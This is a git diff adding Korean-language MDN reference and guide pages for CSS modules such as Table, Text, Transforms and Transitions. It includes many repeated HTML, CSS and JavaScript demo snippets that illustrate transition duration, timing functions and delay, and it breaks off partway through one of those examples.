  • {{cssxref("<basic-shape>")}}
  • +
+
+ +

안내서

+ + + +

외부 자료

+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Shapes")}}{{Spec2("CSS Shapes")}}초기 정의
diff --git a/files/ko/web/css/css_table/index.html b/files/ko/web/css/css_table/index.html new file mode 100644 index 0000000000..ad712ec39e --- /dev/null +++ b/files/ko/web/css/css_table/index.html @@ -0,0 +1,48 @@ +--- +title: CSS Table +slug: Web/CSS/CSS_Table +tags: + - CSS + - CSS Table + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Table +--- +
{{CSSRef}}
+ +

CSS Table은 표 데이터의 배치법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("border-collapse")}}
  • +
  • {{cssxref("border-spacing")}}
  • +
  • {{cssxref("caption-side")}}
  • +
  • {{cssxref("empty-cells")}}
  • +
  • {{cssxref("table-layout")}}
  • +
  • {{cssxref("vertical-align")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "tables.html")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/css_text/index.html b/files/ko/web/css/css_text/index.html new file mode 100644 index 0000000000..9edc21d716 --- /dev/null +++ b/files/ko/web/css/css_text/index.html @@ -0,0 +1,71 @@ +--- +title: CSS Text +slug: Web/CSS/CSS_Text +tags: + - CSS + - CSS Text + - Guide + - Overview +translation_of: Web/CSS/CSS_Text +--- +
{{CSSRef}}
+ +

CSS Text는 줄 바꿈, 정돈 및 정렬, 공백 처리 및 텍스트 변환 같은 텍스트 조작을 수행하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("hanging-punctuation")}}
  • +
  • {{cssxref("hyphens")}}
  • +
  • {{cssxref("letter-spacing")}}
  • +
  • {{cssxref("line-break")}}
  • +
  • {{cssxref("overflow-wrap")}}
  • +
  • {{cssxref("tab-size")}}
  • +
  • {{cssxref("text-align")}}
  • +
  • {{cssxref("text-align-last")}}
  • +
  • {{cssxref("text-indent")}}
  • +
  • {{cssxref("text-justify")}}
  • +
  • {{cssxref("text-size-adjust")}}
  • +
  • {{cssxref("text-transform")}}
  • +
  • {{cssxref("white-space")}}
  • +
  • {{cssxref("word-break")}}
  • +
  • {{cssxref("word-spacing")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties')}}{{Spec2('CSS Logical Properties')}}텍스트 방향성에 독립된 일부 속성 갱신.
{{SpecName('CSS3 Text')}}{{Spec2('CSS3 Text')}}
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_text_decoration/index.html b/files/ko/web/css/css_text_decoration/index.html new file mode 100644 index 0000000000..e01c36d116 --- /dev/null +++ b/files/ko/web/css/css_text_decoration/index.html @@ -0,0 +1,69 @@ +--- +title: CSS Text Decoration +slug: Web/CSS/CSS_Text_Decoration +tags: + - CSS + - CSS Text Decoration + - Overview + - Reference +translation_of: Web/CSS/CSS_Text_Decoration +--- +
{{CSSRef}}
+ +

CSS Text Decoration은 밑줄, 텍스트 그림자 및 강조 표시 등 텍스트 장식에 관련된 기능을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("letter-spacing")}}
  • +
  • {{cssxref("text-align")}}
  • +
  • {{cssxref("text-decoration")}}
  • +
  • {{cssxref("text-decoration-color")}}
  • +
  • {{cssxref("text-decoration-line")}}
  • +
  • {{cssxref("text-decoration-style")}}
  • +
  • {{cssxref("text-emphasis")}}
  • +
  • {{cssxref("text-emphasis-color")}}
  • +
  • {{cssxref("text-emphasis-position")}}
  • +
  • {{cssxref("text-emphasis-style")}}
  • +
  • {{cssxref("text-indent")}}
  • +
  • {{cssxref("text-rendering")}}
  • +
  • {{cssxref("text-shadow")}}
  • +
  • {{cssxref("text-transform")}}
  • +
  • {{cssxref("white-space")}}
  • +
  • {{cssxref("word-spacing")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Text Decoration')}}{{Spec2('CSS3 Text Decoration')}} 
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_transforms/index.html b/files/ko/web/css/css_transforms/index.html new file mode 100644 index 0000000000..f4cffad3b6 --- /dev/null +++ b/files/ko/web/css/css_transforms/index.html @@ -0,0 +1,66 @@ +--- +title: CSS Transforms +slug: Web/CSS/CSS_Transforms +tags: + - CSS + - CSS Transforms + - Overview + - Reference +translation_of: Web/CSS/CSS_Transforms +--- +
{{CSSRef}}
+ +

CSS Transforms is a module of CSS that defines how elements styled with CSS can be transformed in two-dimensional or three-dimensional space.

+ +

Reference

+ +

Properties

+ +
+
    +
  • {{cssxref("backface-visibility")}}
  • +
  • {{cssxref("perspective")}}
  • +
  • {{cssxref("perspective-origin")}}
  • +
  • {{cssxref("rotate")}}
  • +
  • {{cssxref("scale")}}
  • +
  • {{cssxref("transform")}}
  • +
  • {{cssxref("transform-box")}}
  • +
  • {{cssxref("transform-origin")}}
  • +
  • {{cssxref("transform-style")}}
  • +
  • {{cssxref("translate")}}
  • +
+
+ +

Data types

+ +
+
    +
  • {{cssxref("<transform-function>")}}
  • +
+
+ +

Guides

+ +
+
Using CSS transforms
+
Step-by-step tutorial about how to transform elements styled with CSS.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transforms') }}{{ Spec2('CSS3 Transforms') }}Initial definition.
diff --git a/files/ko/web/css/css_transforms/using_css_transforms/index.html b/files/ko/web/css/css_transforms/using_css_transforms/index.html new file mode 100644 index 0000000000..1c29e3b1e3 --- /dev/null +++ b/files/ko/web/css/css_transforms/using_css_transforms/index.html @@ -0,0 +1,80 @@ +--- +title: CSS 변형 사용하기 +slug: Web/CSS/CSS_Transforms/Using_CSS_transforms +tags: + - 3D + - Advanced + - CSS + - CSS Transforms + - Graphics + - Guide +translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms +--- +
{{CSSRef}}
+ +

CSS 변형(transform)은 좌표공간을 변형함으로써 일반적인 문서 흐름을 방해하지 않고 콘텐츠의 형태와 위치를 바꿉니다. 본 가이드는 변형 사용법의 기초를 제시합니다.

+ +

CSS 변형은 HTML 요소에 선형 아핀 변형(affine linear transformation)을 적용하는 여러 개의 CSS 속성을 조합해 구현합니다. 변형은 평면과 3D 공간에서의 회전, 확대, 이동, 비틀기를 포함합니다.

+ +
+

박스 모델에 따라 배치된 요소만 transform을 적용할 수 있습니다. 한 가지 예를 들자면, display: block속성을 가진 요소는 박스 모델을 따릅니다. 

+
+ +

CSS 변형 속성

+ +

CSS 변형을 정의할 때 중요한 두 가지 속성은 {{cssxref("transform")}}과 {{cssxref("transform-origin")}}입니다.

+ +
+
{{cssxref("transform-origin")}}
+
원점의 위치를 지정합니다. 기본값은 요소의 중심이며 변경할 수 있습니다. 회전, 확대, 비틀기 등 하나의 점을 기준으로 하는 변형에서 사용합니다.
+
{{cssxref("transform")}}
+
요소에 적용할 변형을 지정합니다. 여러 개의 변형 목록을 공백으로 구분하여 대입하면 순차적으로 합성한 결과물을 적용합니다. 합성은 오른쪽부터 왼쪽으로 진행합니다.
+
+ +

예제

+ +

다음 이미지는 변형하지 않은 MDN 로고입니다.

+ +

MDN Logo

+ +

회전

+ +

MDN 로고를 90도 회전합니다.

+ +
<img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+ +

{{EmbedLiveSample('회전', 'auto', 240) }}

+ +

비틀고 옮기기

+ +

MDN 로고를 10도 비틀고 X축으로 150픽셀 옮깁니다.

+ +
<img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+ +

{{EmbedLiveSample('비틀고_옮기기') }}

+ +

3D 전용 CSS 속성

+ +

3D 공간에서의 CSS 변환은 좀 더 복잡합니다. 우선 원근감을 부여해 3D 공간을 설정한 후에, 2D 요소가 그 안에서 어떻게 행동할지 설정해야 합니다..

+ +

원근

+ +

처음으로 정할 항목은 {{cssxref("perspective")}}입니다. 우리가 입체라고 느낄 수 있는 건 원근감 덕분입니다. 요소가 관찰자에서 멀어질 수록 더 작게 보입니다.

+ +

{{page("/ko/docs/Web/CSS/perspective", "Setting perspective", 0, 0, 3)}}

+ +

다음으로는 {{cssxref("perspective-origin")}} 속성으로 관찰자의 위치를 정해야 합니다. 기본값은 중앙으로, 언제나 충분한 위치는 아닙니다.

+ +

{{page("/ko/docs/Web/CSS/perspective-origin", "Changing the perspective origin", 0, 0, 3)}}

+ +

모든 과정을 마쳤다면 3D 공간의 요소를 작업할 수 있습니다.

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_transitions/index.html b/files/ko/web/css/css_transitions/index.html new file mode 100644 index 0000000000..e32bb60c42 --- /dev/null +++ b/files/ko/web/css/css_transitions/index.html @@ -0,0 +1,59 @@ +--- +title: CSS Transitions +slug: Web/CSS/CSS_Transitions +tags: + - CSS + - CSS Transitions + - Overview + - Reference +translation_of: Web/CSS/CSS_Transitions +--- +
{{CSSRef}}
+ +

CSS Transitions는 특정 CSS 속성의 값을 점진적으로 바꿀 수 있는 CSS 모듈입니다. 타이밍 함수, 시간 등 여러 속성을 통해 값이 바뀌는 방식을 조절할 수 있습니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("transition")}}
  • +
  • {{cssxref("transition-delay")}}
  • +
  • {{cssxref("transition-duration")}}
  • +
  • {{cssxref("transition-property")}}
  • +
  • {{cssxref("transition-timing-function")}}
  • +
+
+ +

안내서

+ +
+
CSS 트랜지션 사용하기
+
CSS 트랜지션을 사용하는 법이 단계별로 적혀있습니다. 각각의 CSS 트랜지션 속성의 설명과, 서로 합치면 어떻게 동작하는지 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions')}}{{Spec2('CSS3 Transitions')}}Initial definition.
+ +

같이 보기

+ +
    +
  • CSS Animations를 사용하면 값의 전환을 CSS Transitions보다 더 세밀하게 조절할 수 있습니다.
  • +
diff --git a/files/ko/web/css/css_transitions/using_css_transitions/index.html b/files/ko/web/css/css_transitions/using_css_transitions/index.html new file mode 100644 index 0000000000..c81a169965 --- /dev/null +++ b/files/ko/web/css/css_transitions/using_css_transitions/index.html @@ -0,0 +1,1058 @@ +--- +title: CSS 트랜지션 사용하기 +slug: Web/CSS/CSS_Transitions/Using_CSS_transitions +tags: + - Advanced + - CSS + - CSS Transitions + - Guide +translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions +--- +
{{CSSRef}}
+ +

CSS 트랜지션은 CSS 속성을 변경할 때 애니메이션 속도를 조절하는 방법을 제공합니다. 속성 변경이 즉시 영향을 미치게 하는 대신, 그 속성의 변화가 일정 기간에 걸쳐 일어나도록 할 수 있습니다. 예를 들어, 여러분이 어떤 요소의 색상을 흰색에서 검은색으로 변경한다면, 변화는 대개 즉시 일어납니다. CSS 트랜지션을 이용하면, 모두 커스터마이즈 가능한 어떤 가속도 곡선을 따르는 시간 주기마다 변화가 일어납니다.

+ +

두 상태 사이의 트랜지션을 포함하는 애니메이션을 종종 암묵적 트랜지션이라고 부르는데, 이는 시작과 종료 상태 사이의 상태를 브라우저가 암묵적으로 정의하기 때문입니다.

+ +

A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.

+ +

CSS transitions는 여러분이 (명시적으로 목록을 작성해서) 어떤 속성을 움직이게 할지, (딜레이를 설정해서) 언제 애니메이션이 시작할지, (지속 시간을 설정해서) 트랜지션을 얼마나 지속할지, 그리고 (예를 들면, 선형이거나 초기 빠름, 종료 느림과 같은 타이밍 함수를 정의해서) 어떻게 트랜지션을 실행하는지 결정하게 합니다.

+ +

애니메이션 가능한 CSS 속성은?

+ +

웹 작성자는 어떤 속성을 어떤 방식으로 움직일지를 정의할 수 있습니다. 이것은 복잡한 트랜지션을 생성할 수 있게 합니다. 어떤 속성은 움직이게 하는 것이 말이 되지 않으므로, 애니메이션 가능한 속성의 집합은 유한한 집합으로 제한됩니다.

+ +
노트: 애니메이션 가능한 속성의 집합은 변할 수 있습니다. 개발자는 주의해서 진행해야 합니다.
+ +

또한, 종종 auto 값은 매우 복잡한 경우입니다. 스펙은 그러한 어떤 값에서 시작하고 끝나도록 움직이도록 요구하지 않습니다. Gecko 기반의 유저 에이전트처럼 몇몇은 이 요구사항을 구현했고, WebKit 기반의 유저 에이전트 같은 다른 것들은 덜 엄격합니다. 애니메이션에 auto를 사용하면 이는 브라우저와 버전에 따라 예상하지 못한 결과를 초래할 수 있으며 피해야 합니다.

+ +

다수의 애니메이션이 적용된 속성 예제

+ +

HTML 내용

+ +
<body>
+    <p>아래 박스는 width, height, background-color, transform을 위한 트랜지션을 결합합니다. 박스 위에 마우스를 올려 속성들의 애니메이션을 보세요.</p>
+    <div class="box"></div>
+</body>
+ +

CSS 내용

+ +
.box {
+    border-style: solid;
+    border-width: 1px;
+    display: block;
+    width: 100px;
+    height: 100px;
+    background-color: #0000FF;
+    -webkit-transition:width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+    transition:width 2s, height 2s, background-color 2s, transform 2s;
+}
+.box:hover {
+    background-color: #FFCCCC;
+    width:200px;
+    height:200px;
+    -webkit-transform:rotate(180deg);
+    transform:rotate(180deg);
+}
+
+
+ +

{{ EmbedLiveSample('%EB%8B%A4%EC%88%98%EC%9D%98_%EC%95%A0%EB%8B%88%EB%A9%94%EC%9D%B4%EC%85%98%EC%9D%B4_%EC%A0%81%EC%9A%A9%EB%90%9C_%EC%86%8D%EC%84%B1_%EC%98%88%EC%A0%9C', '600', '300', '', 'Web/Guide/CSS/Using_CSS_transitions') }}

+ +

트랜지션 정의에 사용한 CSS 속성

+ +

CSS 트랜지션은 단축(shorthand) 속성 {{cssxref("transition")}}을 사용하여 제어합니다. 이것은 트랜지션을 설정하는 가장 좋은 방법입니다. 파라미터 목록의 길이가 싱크가 맞지 않는 것을 피하기가 더 쉬워지기 때문입니다. 싱크가 맞지 않으면 CSS를 디버그하는데 많은 시간을 들여야 해서 크게 좌절할 수 있습니다.

+ +

여러분은 아래의 서브 속성으로 트랜지션의 개별 컴포넌트를 제어할 수 있습니다:

+ +

(이 트랜지션은 단지 예제를 목적으로 계속해서 루프를 돕니다. 그리고 CSS transition들은 시작에서 종료까지 어떤 속성의 변화만을 시각화합니다. 그 루프를 시각화하려면 CSS animation 속성을 살펴보세요.)

+ +
+
{{ cssxref("transition-property") }}
+
트랜지션을 적용해야 하는 CSS 속성의 이름 혹은 이름들을 명시합니다. 여기에 나열한 속성만 트랜지션하는 동안 움직입니다. 또한, 다른 모든 속성에 대한 변화는 보통 때와 같이 즉시 일어납니다.
+
{{ cssxref("transition-duration") }}
+
트랜지션이 일어나는 지속 시간을 명시합니다. 트랜지션 동안 모든 속성에 적용하는 단일 지속 시간을 명시하거나, 다른 주기로 각 속성이 트랜지션하게 하는 여러 지속 시간을 명시할 수 있습니다. +
+
+

transition-duration: 0.5s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_0_5s",275,150)}}
+
+ +
+

transition-duration: 1s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_1s",275,150)}}
+
+ +
+

transition-duration: 2s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_2s",275,150)}}
+
+ +
+

transition-duration: 4s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_4s",275,150)}}
+
+
+
+
{{ cssxref("transition-timing-function") }}
+
속성의 중간값을 계산하는 방법을 정의하는 함수를 명시합니다. Timing functions는 트랜지션의 중간값을 계산하는 방법을 결정합니다. 대부분의 타이밍 함수는 큐빅 베이지어(cubic bezier)를 정의하는 네 점에 의해 정의되므로 상응하는 함수의 그래프로 제공해서 명시할 수 있습니다. Easing Functions Cheat Sheet에서 이징(easing, 역자주: 시간에 따른 파라미터 값의 변화율을 명시하는 함수)을 선택할 수도 있습니다. +
+
+

transition-timing-function: ease

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_ease",275,150)}}
+
+ +
+

transition-timing-function: linear

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_linear",275,150)}}
+
+ +
+

transition-timing-function: step-end

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_stepend",275,150)}}
+
+ +
+

transition-timing-function: steps(4, end)

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_step4end",275,150)}}
+
+
+
+
{{ cssxref("transition-delay") }}
+
속성이 변한 시점과 트랜지션이 실제로 시작하는 사이에 기다리는 시간을 정의합니다. +
+
+

transition-delay: 0.5s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_0_5s",275,150)}}
+
+ +
+

transition-delay: 1s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_1s",275,150)}}
+
+ +
+

transition-delay: 2s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
